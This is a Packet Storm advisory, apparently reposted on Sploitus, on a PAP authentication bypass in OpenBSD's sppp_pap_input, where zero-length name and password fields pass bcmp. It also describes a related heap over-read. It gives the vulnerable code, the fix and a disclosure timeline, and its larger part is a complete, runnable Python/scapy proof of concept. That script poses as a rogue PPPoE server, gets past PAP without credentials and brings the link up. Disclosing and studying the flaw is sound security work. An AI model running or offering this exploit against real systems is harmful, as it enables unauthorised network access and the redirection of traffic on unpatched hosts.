## https://sploitus.com/exploit?id=PACKETSTORM:223967
------------------------------------------------------------------------
OpenBSD sppp_pap_input: PAP Authentication Bypass via Zero-Length bcmp
------------------------------------------------------------------------
Affected: OpenBSD all versions through 7.6 (fixed in -current)
Vendor: OpenBSD
Severity: High
Reporter: Argus
Date: 2026-06-16
1. SUMMARY
==========
The sppp_pap_input() function in sys/net/if_spppsubr.c uses the
attacker-controlled name_len and passwd_len fields from the incoming
PAP frame directly as the comparison length for bcmp() against
configured credentials.
When both fields are set to zero, bcmp() returns 0 unconditionally
(bcmp with length 0 always succeeds). The existing upper-bound guard
(> AUTHMAXLEN) allows zero through. As a result, a PAP Auth-Request
with name_len=0 and passwd_len=0 passes credential validation and
triggers a PAP_ACK, authenticating the peer without any knowledge of
the configured username or password.
A secondary kernel heap over-read exists via the same root cause:
supplying a name_len larger than the allocation of the stored
credential causes bcmp to read past the heap object.
2. AFFECTED VERSIONS
====================
The bcmp comparison pattern was introduced with the original sppp
code import on 1999-07-01 (commit bda3414e, "lmc driver; ported by
chris@dqc.org"). The zero-length bypass has been exploitable since
that date.
In February 2009 (commit 9c2f3d605fc), auth credential fields were
changed from fixed-size struct arrays to dynamically allocated
malloc(strlen()+1), and the bounds check was changed to
> AUTHMAXLEN (256). This decoupled the allocation size from the
comparison bound, enabling the heap over-read.
Confirmed against OpenBSD 7.6 (amd64) in QEMU/KVM.
3. DETAILS
==========
Vulnerable code (sys/net/if_spppsubr.c, sppp_pap_input):
if (name_len > AUTHMAXLEN ||
passwd_len > AUTHMAXLEN ||
bcmp(name, sp->hisauth.name, name_len) != 0 ||
bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
/* authentication failed */
name_len and passwd_len are parsed directly from the PAP frame
payload. bcmp(a, b, 0) always returns 0. The > AUTHMAXLEN guard
rejects values above 255 but permits zero.
The CHAP handler in the same file already had the correct pattern
with an exact-length pre-check:
if (name_len != strlen(sp->hisauth.name)
|| bcmp(name, sp->hisauth.name, name_len) != 0) {
The PAP handler never received the same treatment.
4. REACHABILITY
===============
Both bugs are reachable via the PPPoE data path:
pppoe_data_input -> pppoeintr -> sppp_input -> sppp_pap_input
Precondition: the target system must be configured as a PAP
authenticator (e.g. ifconfig pppoe0 peerproto pap peername <x>
peerkey <y>). The attacker does not need to know any credentials.
5. IMPACT
=========
An attacker on the same network segment can authenticate to a PPPoE
interface without credentials, establishing a full network-layer
link (LCP -> PAP -> IPCP -> IP).
When OpenBSD acts as a PPPoE client with mutual authentication, a
rogue server in the same broadcast domain can exploit the bypass to
impersonate a legitimate server, causing OpenBSD to route traffic
through the attacker's endpoint.
6. PROOF OF CONCEPT
===================
A Python PoC acts as a PPPoE server, completes discovery and
LCP negotiation, then sends a PAP Auth-Request with name_len=0 and
passwd_len=0.
Result:
PAP_ACK received with empty credentials
VM accepted name_len=0, passwd_len=0 as valid auth.
IPCP Config-Ack received - link is UP
ICMP echo reply from 10.0.0.1
FULL LINK ESTABLISHED
PoC and full technical report:
https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html
7. FIX
======
Fixed in -current by mvs on 2026-06-14. The fix mirrors the CHAP
handler's exact-length pre-check:
if (name_len != strlen(sp->hisauth.name) ||
passwd_len != strlen(sp->hisauth.secret) ||
bcmp(name, sp->hisauth.name, name_len) != 0 ||
bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
Fix commit:
https://github.com/openbsd/src/commit/076e2b1c1fc4ac0883a72d3544131ad5cee7adf8
8. TIMELINE
===========
2026-06-12 Reported to security@openbsd.org with PoC
2026-06-14 Fix committed to -current
9. CREDIT
=========
Discovered and reported by Argus (https://byteray.co.uk/).
10. REFERENCES
==============
Advisory:
https://pop.argus-systems.ai/advisory/adv-038.html
Blog post:
https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html
Proof of concept:
https://pop.argus-systems.ai/attachments/poc-001-pap-bypass.py
--- packet storm attached poc ---
#!/usr/bin/env python3
"""
PoC for report-001: PAP authentication bypass in sppp_pap_input (CWE-1023).
This script acts as a PPPoE SERVER. The OpenBSD VM's pppoe0 is a PPPoE client
with peerproto=pap, meaning it demands that the peer (us) authenticate via PAP.
After LCP completes, we send a PAP Auth-Request with name_len=0, passwd_len=0.
At if_spppsubr.c:3816, bcmp(name, sp->hisauth.name, 0) returns 0 regardless of
the configured secret. The fail-branch is never taken, so PAP_ACK is sent and
the link opens without valid credentials.
After PAP_ACK the PoC completes IPCP and sends an ICMP echo to confirm full
network-layer access through the rogue server.
OpenBSD VM setup (as root):
ifconfig pppoe0 create
ifconfig pppoe0 pppoedev vio0
ifconfig pppoe0 peerproto pap peername "testuser" peerkey "hunter2"
ifconfig pppoe0 10.0.0.1 10.0.0.2 netmask 255.255.255.255 up
Usage:
sudo python3 poc-001-pap-bypass.py [--iface tap0]
"""
import socket
import struct
import sys
import argparse
import random
import time
from scapy.all import (
Ether, Raw, IP, ICMP, sendp, get_if_hwaddr, get_if_list, AsyncSniffer
)
ETH_DISC = 0x8863
ETH_SESS = 0x8864
PADI = 0x09
PADO = 0x07
PADR = 0x19
PADS = 0x65
TAG_SVC_NAME = 0x0101
TAG_AC_NAME = 0x0102
TAG_HOST_UNIQ = 0x0103
PPP_LCP = 0xc021
PPP_PAP = 0xc023
PPP_IPCP = 0x8021
PPP_IP = 0x0021
LCP_CONF_REQ = 1
LCP_CONF_ACK = 2
LCP_CONF_NAK = 3
LCP_CONF_REJ = 4
OPT_MAGIC = 0x05
PAP_REQ = 1
PAP_ACK = 2
PAP_NAK = 3
IPCP_CONF_REQ = 1
IPCP_CONF_ACK = 2
IPCP_CONF_NAK = 3
IPCP_CONF_REJ = 4
IPCP_OPT_ADDR = 3
PING_ID = 0x1337
# packet builders
def pppoe_disc(src_mac, dst_mac, code, session_id, tags_bytes):
hdr = struct.pack('>BBHH', 0x11, code, session_id, len(tags_bytes))
return Ether(src=src_mac, dst=dst_mac, type=ETH_DISC) / Raw(hdr + tags_bytes)
def tag(t, value=b''):
return struct.pack('>HH', t, len(value)) + value
def pppoe_sess(src_mac, dst_mac, session_id, ppp_proto, payload):
pppoe_hdr = struct.pack('>BBHH', 0x11, 0x00, session_id, len(payload) + 2)
ppp_hdr = struct.pack('>H', ppp_proto)
return Ether(src=src_mac, dst=dst_mac, type=ETH_SESS) / Raw(pppoe_hdr + ppp_hdr + payload)
def lcp_pkt(code, ident, options=b''):
return struct.pack('>BBH', code, ident, 4 + len(options)) + options
def lcp_opt(opt_type, value):
return struct.pack('>BB', opt_type, 2 + len(value)) + value
def pap_req(ident, name=b'', password=b''):
length = 6 + len(name) + len(password)
return (struct.pack('>BBH', PAP_REQ, ident, length) +
struct.pack('>B', len(name)) + name +
struct.pack('>B', len(password)) + password)
def ipcp_pkt(code, ident, options=b''):
return struct.pack('>BBH', code, ident, 4 + len(options)) + options
def ipcp_opt_addr(ip_str):
return struct.pack('>BB', IPCP_OPT_ADDR, 6) + socket.inet_aton(ip_str)
# parsers
def parse_pppoe_disc(raw):
if len(raw) < 6:
return None
ver_type, code, session_id, length = struct.unpack('>BBHH', raw[:6])
tags = {}
pos = 6
while pos + 4 <= len(raw):
t, l = struct.unpack('>HH', raw[pos:pos+4])
v = raw[pos+4:pos+4+l]
tags[t] = v
pos += 4 + l
return code, session_id, tags
def parse_pppoe_sess(raw):
if len(raw) < 8:
return None
_, _, session_id, _ = struct.unpack('>BBHH', raw[:6])
ppp_proto = struct.unpack('>H', raw[6:8])[0]
return session_id, ppp_proto, raw[8:]
def parse_lcp(payload):
if len(payload) < 4:
return None
code, ident, length = struct.unpack('>BBH', payload[:4])
return code, ident, payload[4:length]
# main state machine
def run(iface, our_ip="10.0.0.2", peer_ip="10.0.0.1", timeout=300):
src_mac = get_if_hwaddr(iface)
magic = random.randint(1, 0xffffffff)
session_id = random.randint(1, 0xfffe)
state = {
'phase': 'WAIT_PADI',
'client_mac': None,
'our_lcp_acked': False,
'their_lcp_acked': False,
'pap_sent': False,
'our_ipcp_acked': False,
'their_ipcp_acked': False,
'ipcp_sent': False,
'ping_sent': False,
'lcp_id': 1,
'pap_id': 1,
'ipcp_id': 1,
}
result = {'done': False}
def send_ipcp_req():
opts = ipcp_opt_addr(our_ip)
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
ipcp_pkt(IPCP_CONF_REQ, state['ipcp_id'], opts)),
iface=iface, verbose=False)
print(f" IPCP Config-Request sent (addr={our_ip})")
def maybe_send_ping():
if state['our_ipcp_acked'] and state['their_ipcp_acked'] and not state['ping_sent']:
state['ping_sent'] = True
state['phase'] = 'UP'
print(f" IPCP open — link is UP (us={our_ip} peer={peer_ip})")
print()
print(f" Sending ICMP echo to {peer_ip}...")
raw_ip = bytes(IP(src=our_ip, dst=peer_ip, ttl=64) /
ICMP(type=8, code=0, id=PING_ID, seq=1))
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IP, raw_ip),
iface=iface, verbose=False)
def handle(pkt):
if result['done']:
return
raw = bytes(pkt)
eth_src = pkt.src if hasattr(pkt, 'src') else None
etype = pkt.type if hasattr(pkt, 'type') else 0
payload = raw[14:]
# PPPoE Discovery
if etype == ETH_DISC:
parsed = parse_pppoe_disc(payload)
if not parsed:
return
code, sid, tags = parsed
if code == PADI and state['phase'] == 'WAIT_PADI':
print(f" PADI from {eth_src}")
state['client_mac'] = eth_src
state['phase'] = 'WAIT_PADR'
pado_tags = (tag(TAG_SVC_NAME) +
tag(TAG_AC_NAME, b'poc-ac') +
tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b'')))
sendp(pppoe_disc(src_mac, eth_src, PADO, 0, pado_tags),
iface=iface, verbose=False)
print(" PADO sent")
elif code == PADR and state['phase'] == 'WAIT_PADR':
if eth_src != state['client_mac']:
return
print(" PADR received")
state['phase'] = 'LCP'
pads_tags = (tag(TAG_SVC_NAME) +
tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b'')))
sendp(pppoe_disc(src_mac, eth_src, PADS, session_id, pads_tags),
iface=iface, verbose=False)
print(f" PADS sent session_id=0x{session_id:04x}")
opts = lcp_opt(OPT_MAGIC, struct.pack('>I', magic))
sendp(pppoe_sess(src_mac, eth_src, session_id, PPP_LCP,
lcp_pkt(LCP_CONF_REQ, state['lcp_id'], opts)),
iface=iface, verbose=False)
print(f" LCP Config-Request sent (magic=0x{magic:08x})")
# PPPoE Session
elif etype == ETH_SESS and state['phase'] not in ('WAIT_PADI', 'WAIT_PADR'):
parsed = parse_pppoe_sess(payload)
if not parsed:
return
sid, proto, ppp_payload = parsed
if sid != session_id:
return
# LCP
if proto == PPP_LCP and state['phase'] in ('LCP', 'AUTH'):
lcp = parse_lcp(ppp_payload)
if not lcp:
return
code, ident, options = lcp
if code == LCP_CONF_REQ:
auth_proto = None
pos = 0
while pos + 2 <= len(options):
ot, ol = options[pos], options[pos+1]
if ol < 2:
break
if ot == 0x03 and ol >= 4:
auth_proto = struct.unpack('>H', options[pos+2:pos+4])[0]
pos += ol
auth_str = (f" auth=0x{auth_proto:04x}" if auth_proto
else " (no auth option)")
print(f" LCP Config-Request from client (id={ident}){auth_str}, "
"sending Ack")
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_LCP,
lcp_pkt(LCP_CONF_ACK, ident, options)),
iface=iface, verbose=False)
state['their_lcp_acked'] = True
elif code == LCP_CONF_ACK:
print(f" LCP Config-Ack received (id={ident})")
state['our_lcp_acked'] = True
elif code in (LCP_CONF_NAK, LCP_CONF_REJ):
print(f" LCP Config-Nak/Rej (id={ident}) — resending minimal config")
state['lcp_id'] += 1
opts = lcp_opt(OPT_MAGIC, struct.pack('>I', magic))
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_LCP,
lcp_pkt(LCP_CONF_REQ, state['lcp_id'], opts)),
iface=iface, verbose=False)
if (state['our_lcp_acked'] and state['their_lcp_acked']
and not state['pap_sent']):
state['phase'] = 'AUTH'
state['pap_sent'] = True
print()
print(" LCP open — waiting for OpenBSD to enter "
"PHASE_AUTHENTICATE...")
time.sleep(0.5)
print(" Sending PAP Auth-Request with name_len=0, passwd_len=0")
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_PAP,
pap_req(state['pap_id'])),
iface=iface, verbose=False)
# PAP
elif proto == PPP_PAP and state['phase'] == 'AUTH':
if len(ppp_payload) < 4:
return
code, ident = ppp_payload[0], ppp_payload[1]
if code == PAP_ACK:
print()
print(" PAP_ACK received with empty credentials")
print(" VM accepted name_len=0, passwd_len=0 as valid auth.")
print()
state['phase'] = 'IPCP'
state['ipcp_sent'] = True
send_ipcp_req()
elif code == PAP_NAK:
print()
print(" NOT BYPASSED — PAP_NAK received")
result['done'] = True
# IPCP
elif proto == PPP_IPCP and state['phase'] in ('IPCP', 'UP'):
if len(ppp_payload) < 4:
return
code, ident = ppp_payload[0], ppp_payload[1]
length = struct.unpack('>H', ppp_payload[2:4])[0]
options = ppp_payload[4:length]
if code == IPCP_CONF_REQ:
print(f" IPCP Config-Request from VM (id={ident}), sending Ack")
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
ipcp_pkt(IPCP_CONF_ACK, ident, options)),
iface=iface, verbose=False)
state['their_ipcp_acked'] = True
maybe_send_ping()
elif code == IPCP_CONF_ACK:
print(f" IPCP Config-Ack received (id={ident})")
state['our_ipcp_acked'] = True
maybe_send_ping()
elif code in (IPCP_CONF_NAK, IPCP_CONF_REJ):
# Use suggested address from NAK if provided
new_ip = our_ip
if code == IPCP_CONF_NAK and len(options) >= 6:
if options[0] == IPCP_OPT_ADDR and options[1] == 6:
new_ip = socket.inet_ntoa(options[2:6])
print(f" IPCP Config-Nak/Rej — retrying with addr={new_ip}")
state['ipcp_id'] += 1
opts = ipcp_opt_addr(new_ip)
sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
ipcp_pkt(IPCP_CONF_REQ, state['ipcp_id'], opts)),
iface=iface, verbose=False)
# IP (ping reply)
elif proto == PPP_IP and state['phase'] == 'UP':
try:
ip = IP(ppp_payload)
if ip.proto == 1:
icmp = ip[ICMP]
if icmp.type == 0 and icmp.id == PING_ID:
print(f" ICMP echo reply from {ip.src}")
print()
print(" FULL LINK ESTABLISHED")
result['done'] = True
except Exception:
pass
sniffer = AsyncSniffer(
iface=iface, timeout=timeout,
lfilter=lambda p: p.haslayer('Ether') and
p['Ether'].type in (ETH_DISC, ETH_SESS) and
p['Ether'].src != src_mac,
prn=handle
)
sniffer.start()
print(f"Listening on {iface} for PPPoE client (PADI)... (timeout={timeout}s)")
sniffer.join(timeout=timeout)
if not result['done']:
print("\nTimeout.")
phase = state['phase']
if phase == 'WAIT_PADI':
print(" No PADI received.")
elif phase == 'WAIT_PADR':
print(" Got PADI/sent PADO but no PADR.")
elif phase == 'LCP':
print(f" Stuck in LCP. our={state['our_lcp_acked']} "
f"their={state['their_lcp_acked']}")
elif phase == 'AUTH':
print(" LCP open but no PAP response.")
elif phase == 'IPCP':
print(f" PAP bypassed but stuck in IPCP. "
f"our={state['our_ipcp_acked']} their={state['their_ipcp_acked']}")
elif phase == 'UP':
print(" IPCP open but no ICMP reply.")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--iface", default="tap0")
parser.add_argument("--our-ip", default="10.0.0.2")
parser.add_argument("--peer-ip", default="10.0.0.1")
parser.add_argument("--timeout", default=300, type=int,
help="seconds to wait for PADI (default: 300)")
args = parser.parse_args()
if args.iface not in get_if_list():
print(f"ERROR: interface {args.iface} not found", file=sys.stderr)
sys.exit(1)
run(args.iface, args.our_ip, args.peer_ip, args.timeout)
if __name__ == "__main__":
main()